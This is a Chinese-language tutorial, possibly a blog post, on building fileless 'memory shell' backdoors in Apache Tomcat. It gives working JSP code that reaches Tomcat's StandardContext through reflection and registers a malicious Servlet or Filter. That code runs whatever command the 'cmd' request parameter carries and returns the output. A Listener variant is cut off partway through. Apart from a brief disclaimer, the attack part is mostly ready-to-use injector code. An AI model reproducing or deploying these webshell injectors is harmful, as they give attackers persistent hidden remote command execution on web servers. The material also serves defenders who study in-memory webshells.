深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

前言

Java作为企业级应用最广泛使用的编程语言之一,其生态的复杂性和广泛性使得JavaWeb内存马技术尤为引人注目。JavaWeb内存马通过直接在内存中注入并执行恶意代码,绕过了传统基于文件的安全检测机制,实现了无文件攻击,极大地提升了攻击者的隐蔽性和持久性。

本篇文章分别讲解了Servlet内存马, Filter内存马, Listener内存马的编写方式, 以及对Tomcat动态注册的全面理解, 从Debug环境开始, 到最后的内存马编写.

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

本篇文章目录如下:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

调试环境搭建

本篇文章以Tomcat为代表进行编写, 所以我们需要本地搭建一个可以Debug调试Tomcat的一个环境.

安装链接: https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/

其中提供了bin && src目录, bin 目录存放Tomcat二进制文件, src 目录存放Tomcat源码文件, 我们将二进制文件以及源码文件统一下载一份, 为了方便, 笔者直接在这里贴出链接:

二进制文件: https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/bin/apache-tomcat-8.5.0.zip

源码文件: https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/src/apache-tomcat-8.5.0-src.zip


下载到本地后, 我们使用 IDEA 新建一个 Maven 项目:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

创建好基础目录之后, 我们将下载好的部分源码信息, 以及二进制文件信息, 拷贝到我们当前的工程目录下, 如图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

随后将如下外部库加入到pom.xml文件中:

<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>

            <artifactId>maven-compiler-plugin</artifactId>

            <version>2.3</version>

            <configuration>
                <encoding>UTF-8</encoding>

                <source>1.8</source>

                <target>1.8</target>

            </configuration>

        </plugin>

    </plugins>

</build>

<dependencies>
    <dependency>
        <groupId>org.easymock</groupId>

        <artifactId>easymock</artifactId>

        <version>3.4</version>

    </dependency>

    <dependency>
        <groupId>ant</groupId>

        <artifactId>ant</artifactId>

        <version>1.7.0</version>

    </dependency>

    <dependency>
        <groupId>wsdl4j</groupId>

        <artifactId>wsdl4j</artifactId>

        <version>1.6.2</version>

    </dependency>

    <dependency>
        <groupId>javax.xml</groupId>

        <artifactId>jaxrpc</artifactId>

        <version>1.1</version>

    </dependency>

    <dependency>
        <groupId>org.eclipse.jdt.core.compiler</groupId>

        <artifactId>ecj</artifactId>

        <version>4.5.1</version>

    </dependency>

</dependencies>

将刚刚拷贝进来的lib目录, 加入到当前环境的classpath中:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

加入后:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

随后将srcmainjavamodulesjdbc-poolsrctest目录删除, 否则运行会报错:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

随后我们就可以运行Tomcat了, 在运行之前我们需要指定项目目录:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

-Dcatalina.home=”当前项目目录”

运行完毕后, 我们就可以看到Tomcat的运行结果:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

并可以在Tomcat上进行断点调试.

JVM_Bind 错误解决

在运行途中可能遇到JVM_Bind错误, 解决方法:

开始–>运行–>services.msc命令,打开Service窗口,在Services(Local)列表中找到Internet Connection 服务,重启即可。如图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

内存马调试

在之前的JavaWEB基础中我们有所了解, 我们的Servlet, Listener, Filter都在web.xml文件中进行定义. 这一点我们就不再演示了.

JAVAWEB 基础文章: https://www.yuque.com/heihu577/uqc3u5/zsiw877tskelqmif?singleDoc

下面我们主要看一下动态注册机制.

动态注册机制

ServletContext中提供了addFilter, addListener, addServlet等方法.

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

当然了这些动态注册方法需配合ServletContainerInitializer接口使用, 这是Servlet3.0的新增功能. 下面我们将简单演示该机制的使用.

操作演示

定义一个实现了ServletContainerInitializer接口的MyServletContainerInitializer类, 并且在其中进行动态注册Servlet操作, 如下:

public class MyServletContainerInitializer implements ServletContainerInitializer {
    @Override
    public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
        Servlet servlet = new HttpServlet(){
            @Override
            protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                resp.getWriter().println("heihu577");
            }
        };
        /**
         * 参数1: 要注入的 servlet 名称
         * 参数2: 要注入的 servlet 对象
         */

        ServletRegistration.Dynamic servletRegistration = servletContext.addServlet("heihu577", servlet);
        servletRegistration.addMapping("/heihu577"); // 添加路由访问
    }
}

创建srcmainresourcesMETA-INFservicesjavax.servlet.ServletContainerInitializer文件, 其内容则是我们刚刚定义的MyServletContainerInitializer完整类名:

com.heihu577.MyServletContainerInitializer

随后启动Tomcat, 最终实现了动态注册:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

Servlet 在启动时会扫描 META-INFservicesjavax.servlet.ServletContainerInitializer 文件, 若该文件中定义了类, 并且实现了 ServletContainerInitializer 接口, 那么会调用该类的 onStartup 方法. 以便程序员在启动 Tomcat 时, 不使用 web.xml 文件注册 Servlet, 就可以完成动态注册 Servlet 的方式.

提出问题

既然ServletContext这么方便, 那么我们是否可以在jsp文件中进行动态注册Servlet, 从而实现内存马?

我们可以做出尝试, 准备shell.jsp文件, 内容如下:

<%@ page import="java.io.IOException" %>
<%
Servlet servlet = new HttpServlet(){
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {
resp.getWriter().println("heihu577");
}
};
/**
* 参数1: 要注入的 servlet 名称
* 参数2: 要注入的 servlet 对象
*/
ServletRegistration.Dynamic servletRegistration = request.getServletContext().addServlet("heihu577", servlet); // 这里需要使用 request.getServletContext() 方法来获取 servletContext 对象
servletRegistration.addMapping("/heihu577"); // 添加路由访问
%>

运行结果如下:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

可以看到, 抛出了java.lang.IllegalStateException: Servlets cannot be added to context as the context has been initialised错误信息, 中文翻译过来: 由于上下文已初始化,无法将Servlet添加到上下文中.

所以这里在Tomcat底层肯定对addServlet做了校验信息, 来判断当前环境是否已初始化, 若初始化那么不支持动态注册, 若未初始化 (例如刚刚的ServletContainerInitializer接口案例) 则可以动态注册.

内存马实现

Servlet 内存马

ServletContainerInitializer 调试

虽然受到了束缚, 但我们不慌, 我们在我们的MyServletContainerInitializer中增加断点, 看一下我们的servlet是如何注入进Tomcat容器中的, 进行一步一步调试, 如下:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术
Tomcat 架构概念解释

我们在代码中可以分析出来, ServletContext::addServlet方法是包装了StandardContext类对象的一系列操作, createWrapper, setName, addChild, setServletClass, setServlet, dynamicServletAdded..., 只是一个封装的方法而已. 那么Wrapper是什么?下面我们使用一张Tomcat架构图来进行解释.

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

通过上图, 我们脑中应该有 Engine, Host, Context, Wrapper 的概念, 这里 一个 Wrapper 对应一个 Servlet.

下面我们应该进行模拟ServletContext::addServlet方法的核心操作, 进行注入我们自定义的Servlet, 核心问题是StandardContext对象我们应该如何获取?

在我们的Servlet应用中, ServletContext接口由org.apache.catalina.core.ApplicationContextFacade进行实现, 如图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

而该类存在一个找到StandardContext对象的链路, 如图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

所以我们可以通过反射, 来依次得到StandardContext对象, 具体反射内容如: ApplicationContextFacade对象 -> context属性 -> context属性, 依次得到即可, 在得到StandardContext对象后, 我们可以模仿ServletContext::addServelt的核心逻辑, 从而实现内存马注入.

Servlet 内存马编写

准备shell.jsp代码如下:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
public class MyExp extends HttpServlet { // 准备已存在的恶意类
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 命令执行与回显...
InputStream inputStream = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
resp.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
}
}
%>

<%
ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addServlet 方法中的动态生成内存马的代码块...
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("MyExp");
standardContext.addChild(wrapper);
MyExp myExp = new MyExp();
wrapper.setServletClass(myExp.getClass().getName());
wrapper.setServlet(myExp);
standardContext.dynamicServletAdded(wrapper);
standardContext.addServletMapping("/myExp", wrapper.getName());
%>

访问shell.jsp后, /myExp会自动存入内存, 访问/myExp?cmd=whoami即可看到命令执行结果, 如图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

Filter 内存马

失败的 Filter 内存马注入

与之前研究Servlet内存马一样, 准备MyServletContainerInitializer:

public class MyServletContainerInitializer implements ServletContainerInitializer {
    @Override
    public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
        Filter filter = new Filter(){
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {}
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                System.out.println("Filter...");
                filterChain.doFilter(servletRequest, servletResponse);
            }
            @Override
            public void destroy() {}
        };
        FilterRegistration.Dynamic myFilter = servletContext.addFilter("myFilter", filter);
        myFilter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true"/*");
        myFilter.setInitParameter("allowedMethods","GET,POST");
    }
}

这是动态注册的代码块, 打上断点进行调试:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

其核心逻辑已使用红框圈出, 准备shell2.jsp:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%!
public class MyExpFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String requestURI = httpServletRequest.getRequestURI();
System.out.println(requestURI);
if ("/heihu577".equals(requestURI)) {
InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}

@Override
public void destroy() {}
}
%>

<%
ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("heihuFilter");
standardContext.addFilterDef(filterDef);
filterDef.setFilterClass(MyExpFilter.class.getName());
filterDef.setFilter(new MyExpFilter());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
filterMap.setDispatcher("[REQUEST]");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
%>

但是访问shell2.jspFilter并没有生效, 这是为什么呢?这里我们就定义一个正常的Filter, 并配置web.xml, 通过访问该Filter, 查看代码的运行流程来解答了.

Filter 访问流程分析

定义MyFitler2:

package com.heihu577.filter;

public class MyFilter2 implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        filterChain.doFilter(servletRequest, servletResponse); // 在该行打下断点.
    }

    @Override
    public void destroy() {

    }
}

定义web.xml文件:

<filter>
    <filter-name>myFilter</filter-name>

    <filter-class>com.heihu577.filter.MyFilter2</filter-class>

</filter>

<filter-mapping>
    <filter-name>myFilter</filter-name>

    <url-pattern>/*</url-pattern>

</filter-mapping>

随后在filterChain.doFilter(servletRequest, servletResponse);处打下断点, 随后查看调用栈:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

可以看到StandardHostValve -> StandardContextValve -> StandardWrapperValve -> ApplicationFilterChain存在这样的一个调用过程, 这个调用过程相对来说也比较容易理解, 下面是理解图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

最终的ApplicationFilterChain::doFilter方法值得我们关注, 如图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

所以我们之前写的shell2.jsp内存马失败的原因也很简单: Tomcat 底层最终 new 了一个 ApplicationFilterRegistration 对象, 并对filterMap进行了操作, 但还有一个filters没有进行处理, filters是调用doFilter方法的关键, 如图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

filters成员属性是一个ApplicationFilterConfig数组, 该数组大小默认为0, 当我们HTTP请求过来的时候, 都会对filters进行遍历, 取出对应的ApplicationFilterConfig, 随后调用ApplicationFilterConfig::getFilter得到具体的filter, 最后调用Filter::doFilter方法.

我们并没有将MyExpFilter放入到filters中去, 但其实假设我们强制修改filters将我们的MyExpFilter放入, 其实也无法实现内存马, 因为对于每次HTTP请求filters数组都是动态生成的. 下面我们来证明这个问题.

在我们之前调用栈中的StandardWrapperValve::invoke方法可以看到进入到ApplicationFilterChain::doFilter的前提:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

我们把重心关注到ApplicationFilterFactory::createFilterChain方法中:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

从图中109行 && 115行的核心逻辑看到, filters这个数组, 是每次HTTP请求, 并且在120行 ~ 123行匹配成功后, 通过context.findFilterConfig (从filterConfigs中这个HashMap中查找)来查找到对应的FilterConfig, 然后调用filterChain.addFilter进而在filters容器中增加了一个Filter.

而每次请求只有这两种匹配成功的情况才会创建ApplicationFilterConfig并塞入到filters容器中:

  1. 拿到StandardContext::filterMaps进行比对
  2. 拿到该Filter的名称, 去StandardContext::filterConfigs属性进行查找并取出

换言之则是: 想要注入内存马, 需要 filters 容器中存在相对应的值. 而 filters 中存在的值受StandardContext::filterMaps以及StandardContext::filterConfigs的影响.

内存马编写思路

那么, StandardContext::filterConfigs我们可以通过自己手动创建ApplicationFilterConfig往这个HashMap里面放:

private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();

其中ApplicationFilterConfig的构造函数为:

ApplicationFilterConfig(Context context, FilterDef filterDef)

StandardContext::filterMaps我们可以通过反射得到该对象, 然后通过该对象的addBefore方法, 将我们的filterMap加进去:

private final ContextFilterMaps filterMaps = new ContextFilterMaps();
//...
private static final class ContextFilterMaps {
    private FilterMap[] array = new FilterMap[0];
    // ...
    public void addBefore(FilterMap filterMap) {
        synchronized (lock) {
            FilterMap results[] = new FilterMap[array.length + 1];
            System.arraycopy(array, 0, results, 0, insertPoint);
            System.arraycopy(array, insertPoint, results, insertPoint + 1,
                    array.length - insertPoint);
            results[insertPoint] = filterMap;
            array = results;
            insertPoint++;
        }
    }
    // ...
}

最终shell2.jsp代码为:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
public class MyExpFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String requestURI = httpServletRequest.getRequestURI();
System.out.println(requestURI);
if ("/heihu577".equals(requestURI)) {
InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {}
}
%>

<%
ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("heihuFilter");
// standardContext.addFilterDef(filterDef);
filterDef.setFilterClass(MyExpFilter.class.getName());
filterDef.setFilter(new MyExpFilter());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
filterMap.setDispatcher("[REQUEST]");
filterMap.addURLPattern("/*");
// standardContext.addFilterMapBefore(filterMap);

// 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);

// 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
filterConfigs.set(standardContext, myFilterConfigs);

// 得到 filterMaps, 并且调用 addBefore 方法, 将我们的 filterMap 放入进去
Field filterMaps = standardContext.getClass().getDeclaredField("filterMaps");
filterMaps.setAccessible(true);
Method addBefore = filterMaps.get(standardContext).getClass().getDeclaredMethod("addBefore", FilterMap.class);
addBefore.setAccessible(true);
addBefore.invoke(filterMaps.get(standardContext), filterMap); // 调用 addBefore 方法, 加入我们的 filterMap

// 一切处理完毕后, 在下次请求过来, 会请求到 ApplicationFilterFactory::createFilterChain 方法进行比对, 比对成功了, 则立马进入 doFilter 方法进行处理...
%>

也可以这样:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    public class MyExpFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {}

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
            String requestURI = httpServletRequest.getRequestURI();
            System.out.println(requestURI);
            if ("/heihu577".equals(requestURI)) {
                InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
                byte[] myChunk = new byte[1024];
                int i = 0;
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                while ((i = inputStream.read(myChunk)) != -1) {
                    byteArrayOutputStream.write(myChunk, 0, i);
                }
                servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
            } else {
                filterChain.doFilter(servletRequest, servletResponse);
            }
        }

        @Override
        public void destroy() {}
    }
%>

<%
    ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
    Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
    ApplicationContextContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
    Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
    StandardContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
    // 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("heihuFilter");
    standardContext.addFilterDef(filterDef);
    filterDef.setFilterClass(MyExpFilter.class.getName());
    filterDef.setFilter(new MyExpFilter());
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(filterDef.getFilterName());
    filterMap.setDispatcher("[REQUEST]");
    filterMap.addURLPattern("/*");
    standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps

    // 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
    Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.classFilterDef.class);
    declaredConstructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);

    // 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
    myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
    filterConfigs.set(standardContext, myFilterConfigs);

    // 得到 filterMaps, 并且调用 addBefore 方法, 将我们的 filterMap 放入进去
//    Field filterMaps = standardContext.getClass().getDeclaredField("filterMaps");
//    filterMaps.setAccessible(true);
//    Method addBefore = filterMaps.get(standardContext).getClass().getDeclaredMethod("addBefore", FilterMap.class);
//    addBefore.setAccessible(true);
//    addBefore.invoke(filterMaps.get(standardContext), filterMap);
%>

最终运行结果:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术
为什么在初始化时可以注入成功

其本身的问题也是 ServletContainerInitializer 中可以注入成功? 我们可以在我们的MyServletContainerInitializer进行打断点调试, 查看调用栈:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

StandardContext类中存在filterStart方法, 可以解析FilterDef, 来生成ApplicationFilterConfig对象, 并放置到filterConfigs字段中, 如图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

但这个方法当Tomcat启动完毕后, 就不会再执行了, 所以我们原来的马子中FilterDef无法生成ApplicationFilterConfig. 所以也就是说, 在Tomcat启动时, 就在处理filterConfigs了, 随后再也不管了, 所以我们在运行中无法直接用原来的方式注入进Tomcat容器中.

在一切处理完毕时还好, 调用的是StandardContext::addMappingForUrlPatterns, 其中直接操作的就是filterMaps, 如图:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

Listener 内存马

最后我们看一下Listener内存马, 普遍的Listener分别为:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
Listener 内存马回显问题

当然为了方便笔者使用ServletRequestListener进行举例, 但ServletRequestListener接口提供了两个待实现的方法, 如下:

public interface ServletRequestListener extends EventListener {
    void requestDestroyed(ServletRequestEvent var1)// 只有 requestEvent 对象
    void requestInitialized(ServletRequestEvent var1);
}

ServletRequestEvent可以通过getServletRequest方法进行获取request对象:

public class ServletRequestEvent extends EventObject {
    private static final long serialVersionUID = 1L;
    private final transient ServletRequest request;

    public ServletRequestEvent(ServletContext sc, ServletRequest request) {
        super(sc);
        this.request = request;
    }

    public ServletRequest getServletRequest() {
        return this.request;
    }

    public ServletContext getServletContext() {
        return (ServletContext)super.getSource();
    }
}

那么如果我们构建内存马的话, 应该如何获得回显是个问题. 我们定义一个普通的Servlet, 对ServletRequest对象进行研究:

public class MyServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println(req); // 在这里打上断点
    }
}

web.xml文件中进行实现:

<servlet>
    <servlet-name>myServlet</servlet-name>

    <servlet-class>com.heihu577.servlet.MyServlet</servlet-class>

</servlet>

<servlet-mapping>
    <servlet-name>myServlet</servlet-name>

    <url-pattern>/my</url-pattern>

</servlet-mapping>

打上断点并访问, 查看一下 request 对象结构:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

可以看到, 我们通过 request 对象是可以得到 response 对象的, 通过反射获取, 将Servlet内容改为如下:

public class MyServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Field request = req.getClass().getDeclaredField("request");
            request.setAccessible(true);
            Request requestO = (Request) request.get(req);
            Field response = requestO.getClass().getDeclaredField("response");
            response.setAccessible(true);
            Response responseO = (Response) response.get(requestO);
            responseO.getWriter().println("HelloWorld");
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
}

重启Tomcat服务器并访问, 结果如下:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术
Listener 动态添加分析

老套路, 准备一个MyServletContainerInitializer:

public class MyServletContainerInitializer implements ServletContainerInitializer {
    @Override
    public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
        ServletRequestListener servletRequestListener = new ServletRequestListener(){
            @Override
            public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
                HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequestEvent.getServletRequest();
                String requestURI = httpServletRequest.getRequestURI();
                System.out.println(requestURI);
                if ("/heihu577".equals(requestURI)) {
                    InputStream inputStream = null;
                    try {
                        inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
                    } catch (IOException e) {
                        throw new RuntimeException(e);
                    }
                    byte[] myChunk = new byte[1024];
                    int i = 0;
                    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                    while (true) {
                        try {
                            if (!((i = inputStream.read(myChunk)) != -1)) break;
                        } catch (IOException e) {
                            throw new RuntimeException(e);
                        }
